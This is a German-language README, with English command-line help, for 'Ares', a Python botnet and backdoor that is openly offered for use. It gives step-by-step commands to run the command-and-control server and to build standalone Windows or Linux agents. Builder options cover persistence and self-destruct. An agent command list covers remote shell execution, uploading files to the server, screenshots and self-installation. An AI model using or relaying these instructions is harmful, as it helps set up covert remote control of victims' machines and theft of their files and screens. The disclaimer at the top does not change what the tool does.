
Python-Botnet und Backdoor
Ares ist ein Python-Fernzugriffstool.
Warnung: Verwenden Sie diese Software nur gemäß Ihrer aktuellen Gesetzgebung. Der Missbrauch dieser Software kann rechtliche und ethische Probleme aufwerfen, für die ich keine Unterstützung biete und keine Verantwortung übernehmen kann.
Ares besteht aus zwei Hauptprogrammen:
Die Webschnittstelle kann auf jedem Server mit Python ausgeführt werden. Der Agent kann mit pyinstaller zu nativen ausführbaren Dateien kompiliert werden.
Installieren Sie die Python-Anforderungen:
pip install -r requirements.txt
Datenbank initialisieren:
cd server
./ares.py initdb
Um Windows-Agenten unter Linux zu kompilieren, richten Sie wine ein (optional):
./wine_setup.sh
Mit dem integrierten (Debug) Server ausführen:
./ares.py runserver -h 0.0.0.0 -p 8080 --threaded
Oder mit gunicorn ausführen:
gunicorn ares:app -b 0.0.0.0:8080 --threads 20
Der Server sollte nun unter http://localhost:8080 erreichbar sein.
Python-Agent ausführen (config.py an Ihre Bedürfnisse anpassen):
cd agent
./agent.py
Einen neuen Agenten in eine eigenständige Binärdatei erstellen:
./builder.py -p Linux --server http://localhost:8080 -o agent
./agent
Um eine Liste der unterstützten Optionen anzuzeigen, führen Sie ./builder.py -h aus
./agent/builder.py -h
usage: builder.py [-h] -p PLATFORM --server SERVER -o OUTPUT
[--hello-interval HELLO_INTERVAL] [--idle_time IDLE_TIME]
[--max_failed_connections MAX_FAILED_CONNECTIONS]
[--persistent]
Builds an Ares agent.
optional arguments:
-h, --help show this help message and exit
-p PLATFORM, --platform PLATFORM
Target platform (Windows, Linux).
--server SERVER Address of the CnC server (e.g http://localhost:8080).
-o OUTPUT, --output OUTPUT
Output file name.
--hello-interval HELLO_INTERVAL
Delay (in seconds) between each request to the CnC.
--idle_time IDLE_TIME
Inactivity time (in seconds) after which to go idle.
In idle mode, the agent pulls commands less often
(every <hello_interval> seconds).
--max_failed_connections MAX_FAILED_CONNECTIONS
The agent will self destruct if no contact with the
CnC can be made <max_failed_connections> times in a
row.
--persistent Automatically install the agent on first run.
<any shell command>
Executes the command in a shell and return its output.
upload <local_file>
Uploads <local_file> to server.
download <url> <destination>
Downloads a file through HTTP(S).
zip <archive_name> <folder>
Creates a zip archive of the folder.
screenshot
Takes a screenshot.
python <command|file>
Runs a Python command or local file.
persist
Installs the agent.
clean
Uninstalls the agent.
exit
Kills the agent.
help
This help.